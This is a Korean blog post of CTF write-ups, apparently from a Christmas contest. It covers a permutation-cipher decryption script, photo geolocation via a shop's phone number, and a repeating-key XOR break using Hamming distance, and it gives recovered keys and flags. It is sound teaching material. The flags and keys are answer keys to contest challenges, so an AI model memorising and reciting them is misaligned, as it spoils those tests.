제 컴퓨터로 돌렸을 때 after_align함수가 매우 느려서 이 함수도 최적화(?)를 했는데, 지금 서버컴으로 돌려보니깐 15초정도밖에 안 걸리는군요...-_-;; after_align(2**3133702-1)을 넣어주면 4247061이 나옵니다.

좋은 컴을 씁시다...ㅠㅠ


flag: 4247061


--- recovery ---

input 파일을 table 길이만큼 나누고, 각 part를 돌면서 table을 이용해 byte의 순서를 바꿔 암호화를 합니다.

ENC.py에서 table_inverse를 추가하고, table을 table_inverse로 바꿔주면 됩니다.

#!/usr/bin/python
from struct import unpack,pack

table = [48, 27, 50, 8, 47, 73, 12, 4, 66, 0, 14, 77, 56, 26, 63, 67, 17, 11, 68, 22, 72, 69, 60, 64, 74, 58, 54, 42, 65, 32, 33, 40, 39, 37, 51, 59, 24, 35, 38, 61, 21, 31, 57, 20, 76, 13, 10, 43, 9, 78, 46, 44, 45, 49, 3, 75, 23, 2, 19, 25, 28, 41, 29, 6, 30, 53, 70, 7, 16, 18, 34, 1, 62, 52, 5, 55, 36, 79, 71, 15]

table_inverse = []
for i in xrange(len(table)):
	table_inverse.append(table.index(i))

lt = len(table_inverse)
f = open("./ENCRYPTED","rb")
f2 = open("./DECRYPTED","wb")
d = f.read()
f.close()
a = ""
result = ""
for i in range(0,len(d),lt):
	a = d[i:i+lt]
	for j in range(0,lt):
		result += a[table_inverse[j]]
	
f2.write(result)
f2.close()

이렇게 DECRYPTED를 구한 뒤 hex editor로 열어보면 flag가 바로 보입니다.

참고로 이 파일은 Frozen의 dubstep remix버전 mp3파일이네요.


flag: To_test_the_limit_and_breakthrough



FindKey.pcap와 pyc_pcap 문제는 모든 팀이 못 푼 것 같아요.

handray는 눈 크게 뜨고 열심히 분석하다보면 나올 거에요... 저희 팀도 세네 번의 시행착오를 겪었네요.


web이나 pwnable 등 서버 쓰는 문제가 안 나와서 좀 아쉽긴 하네요. 저희 팀원들도 주분야가 시스템인 분들이 많았는데ㅠ_ㅠ

아무튼 두 시간 반정도 되는 시간동안 재밌게 풀었습니다~

크리스마스 하루 동안 진행되는 대회.

솔로가 아니면 출전이 금지되는 솔로의, 솔로에 의한, 솔로를 위한 대회. (ㅠㅠ)

이번 학기 내내 바빠서 한동안 CTF를 즐기지 못하다가 학기 끝나고 제대로 참가할 수 있었다.

난이도가 많이 어렵진 않아서 재밌게 풀 수 있었다.

동아리 애들은 게임하느라 참가하지도 않고ㅜㅜ 결국 혼자서 풀게되었는데...

랭킹 안에 들어 본 것이 이번이 처음이다!! :) (I Hate Teemo!)

(원래 랭커들중에서 커플이 많나보다..ㅎㅎㅅㅂ)




다음과 같은 사진이 주어지고, 이 근처 STARBUCKS의 주소를 찾는 문제이다.


처음에 "의주찹쌀순대" 간판을 구글링해보니 신의주찹쌀순대가 나와서 이를 네이버에 검색해보니 검색 결과가 너무 많았다.

그렇게 살펴보다가 사진관의 전화번호가 보일락말락해서 542-4858으로 검색해보니 강남구의 사진관이 바로 나왔다.


길찾기로 이 근처 스타벅스를 검색해보니 주소가 삼성동 91-31로 바로 나왔다.


FLAG: 91-31

다음과 같은 암호와 소스가 주어진다.

crypto.txt

fee304acd551a17fbd3b7f23c1e51fba9c55a93de43d797187fc1eaa9055ba74fc3e2c62d4ac10fe864fbb79f83c7822
f0e414aa9d5ebc3df2202c6dc8f85197d54caf6ebd267971c9e51fb9d54fa678bd226d64c2ff51aa9a5faf64bd332c60c6e014b0915abc3df4212c64c8e51fb9d554b878ef732d22
eeac15b1d555a169bd316d71c2ac10fe965aa27ee83e7970
f7e903ad9a55ee6ff8226962d3ff51b39c48ba7cf6372c62c9e851999a5fee7bf2206b6ad1e902fe9852bd69fc396922
eeac05b69c55a53de93a6923c9ed05b79a55af71bd337f70c2e113b28c1bb974f13e2c61c2ac15bb8652a973fc26696787ed02fe941ba67ce7337e67c8f902fe9954ad7ce93b636d
f3e414ad901ba972f2362c70c6f518b0921ba86ff23f2c50cfe51ffebd5aab3dde3a796f
f3e414fe9e5eb73df4212c6287ff19bfc41bb87cf1276923c8ea51aa9d5eee73fc3f6922
fee304fe8252a271bd20696ec6e51ffe9c55ee70e4726466c6fe05fe9354bc78eb377e22

crypto.py


# crypto.py
import random

def g(l):
    r = "".join(chr(random.randint(0, 0xff)) for idx in xrange(l))
    return r

def e(r, p):
    ret = ""
    if len(p) % len(r) == 0:
        c = len(p) / len(r)
        for idx in xrange(c):
            for (c1, c2) in zip(r, p[idx * len(r):(idx + 1) * len(r)]):
                ret += ''.join(chr(ord(c1) ^ ord(c2))) 
    else:
        print "[+] Error"
    return ret

if __name__ == "__main__":
    c = g(n)
    ps = [l.rstrip('\n') for l in open("input_messages")]
    ret = []

    for p in ps:
        ret.append(e(c, p).encode('hex'))

    print c.encode('hex')
    print ret

nByte 랜덤 키 c를 생성한 뒤 plaintext와 XOR을 한다.

이 때 plaintext의 길이가 키 길이의 배수가 아니면 reject하고, 배수이면 랜덤 키를 plaintext 길이와 맞도록 키를 반복한다.

예를 들어 plaintext가 Hello, I am yum3(16Byte)이고 key가 xy(2Byte)라면 다음과 같다.

plaintext  : H  e  l  l  o  ,     I     a  m     y  u  m  3

       key : x  y  x  y  x  y  x  y  x  y  x  y  x  y  x  y

ciphertext : 30 1c 14 15 17 55 58 30 58 18 15 59 01 0c 15 4a (hex encoded)


이는 repeated xor문제이다. 같은 키가 반복해서(repeated) xor되는 것이다.

키의 길이를 구한 뒤, single-byte xor(한 byte씩 xor)해가면서 문장을 보는 것이다.

참고자료를 읽어보면 도움이 될 것이다.


암호문을 살펴보면 각각 48Byte, 72Byte, 24Byte, 48Byte, 72Byte, 36Byte, 36Byte, 36Byte이므로 키의 길이는 이들의 공약수여야 한다. 후보로는 1, 2, 3, 4, 6, 12가 있다.

key의 길이를 구하기 위해 Hamming Distance를 구해보자. Hamming Distance란 길이가 같은 두 이진수(binary)에 대하여 각 자리수의 비트가 서로 다른 것의 개수다. 예를들어 11011과 11000의 Hamming Distance는 2다. 이 를 구하는 방법은 두 binary를 XOR한 뒤 1의 개수를 세는 것과 같다. (두 비트가 1과 0, 0과 1로 다를 때 XOR값이 1이 나온다는 것에 착안한 것이다. 11011과 11000의 XOR은 00011이고, 1이 2개 있으므로 2이다.)


key의 길이를 추측할 때, ciphertext를 1Byte, 2Byte, 3Byte, ... 등 shift한 shifted ciphertext와 원래의 ciphertext의 Hamming Distance를 각각 구한것 중 Hamming Distance가 낮게 나오는 것을 key의 길이로 잡을 수 있다.

위의 ciphertext를 예로 들어보자. 1Byte와 2Byte를 shift한 뒤 각각의 원본 ciphertext와 Hamming Distance를 구하면 다음과 같다. (구분을 위해 원본 ciphertext의 첫번째 Byte에 빨간색으로 칠했다.)

     ciphertext : 30 1c 14 15 17 55 58 30 58 18 15 59 01 0c 15 4a

  1Byte shifted : 4a 30 1c 14 15 17 55 58 30 58 18 15 59 01 0c 15

Hamming Distance: 5  3  1  1  1  2  3  3  3  1  3  3  3  3  3  6   Sum: 44

  2Byte shifted : 15 4a 30 1c 14 15 17 55 58 30 58 18 15 59 01 0c

Hamming Distance: 3  4  2  2  2  1  5  4  0  2  4  2  2  4  2  3   Sum: 42

이 중 Hamming Distance가 작은 것이 2Byte shifted이므로 키는 2Byte일 확률이 높다.

지금은 메시지의 길이가 짧아서 Hamming Distance가 큰 차이가 나지 않는데, 문제의 암호로 계산을 해보면 큰 차이가 나는 것을 확인할 수 있다.

key는 모든 문장에 대해 동일하므로, 모든 문장을 이어붙인 뒤 계산했다.

# -*- coding: cp949 -*-
def hamming_distance(c, keylen):
    HD=0
    for i,j in zip(c, c[-keylen:] + c): # c와 c를 keylength만큼 shift한 것
        HD += bin(ord(i)^ord(j))[2:].count('1')
    return HD

f = open('crypto.txt', 'rt')
c = ''
for line in f.xreadlines():
    c += line.rstrip() # 문장 이어붙이기

c = c.decode('hex')

for i in [1, 2, 3, 4, 6, 12]:
    print i, hamming_distance(c, i)


결과는 다음과 같다.

1 1538

2 1418

3 1430

4 1564

6 1610

12 964

12일 때 확연히 Hamming Distance가 작은 것을 볼 수 있고, key의 길이는 12Byte일 확률이 높다.

12Byte씩 자른 뒤 한 글자씩 0부터 255까지 XOR한 뒤 영어와 일반적인 특수문자로 구상된 결과를 key로 뽑아내자.

12Byte씩 자르면 아래와 같이 나온다. 

fee304acd551a17fbd3b7f23
c1e51fba9c55a93de43d7971
87fc1eaa9055ba74fc3e2c62
d4ac10fe864fbb79f83c7822
f0e414aa9d5ebc3df2202c6d
c8f85197d54caf6ebd267971
c9e51fb9d54fa678bd226d64
...

여기서 첫 Byte인 fe, c1, 87, ...를 따온 뒤 0부터 255까지 XOR하고 살펴보면 167과 XOR했을 때 결과가 다음과 같다.

Yf sWoneaoIePtnvInee oTahT oYaa

(나머지는 영어가 아닌 괴상한 문자가 많이 섞여있다.)

이와 같은 방식으로 12번을 반복한다.

f = open('crypto.txt', 'rt')
c = ''
for line in f.xreadlines():
    c += line.rstrip()
f.close()
c = c.decode('hex')

def divide_into_stream(c, keylen):
    stream = []
    for i in xrange(keylen):
        stream.append(c[i::keylen])
    return stream

s = divide_into_stream(c, 12) # s[0]: 첫번째 Byte만 모아둠. s[1]: 두번째 Byte만 모아둠. ...

for n,each_stream in enumerate(s):
    f = open('decrypted%d.txt' % n, 'wt')
    for j in xrange(256):
        f.write('='*50 + str(j) + '\n')
        decrypted_text = ''
        for k in each_stream:
            decrypted_text += chr(j^ord(k))
        f.write(decrypted_text+'\n')
    f.close()

decrypted0.txt부터 11.txt까지 영어와 스페이스바로 많이 이루어진 key값을 찾는다.

key = [167, 140, 113, 222, 245, 59, 206, 29, 157, 82, 12, 3]

이를 이용해 ciphertext 복호화하면 원래의 message가 나온다.

f = open('crypto.txt', 'rt')
c = ''
for line in f.xreadlines():
    c += line.rstrip()
f.close()
c = c.decode('hex')

key = [167, 140, 113, 222, 245, 59, 206, 29, 157, 82, 12, 3]

d = ''
for n,i in enumerate(c):
    d += chr(ord(i) ^ key[n%len(key)])

print d

Your job is finding your potential as a student!Whether or not I was turning the pages today a calendar is going over!!!I do not care a calculusPerson repeats mistake and God forgives mistake!I think the national assembly will be designated as a hazardous locationThese good saying from Shin Hae ChulThe key is a sha1 value of the name!You will remain in my heart forever!

Shin Hae Chul을 sha1 hash하면 FLAG이다.

FLAG: 43722cf51b6539c298fdb0f78ed987f05a826d2c

+ Recent posts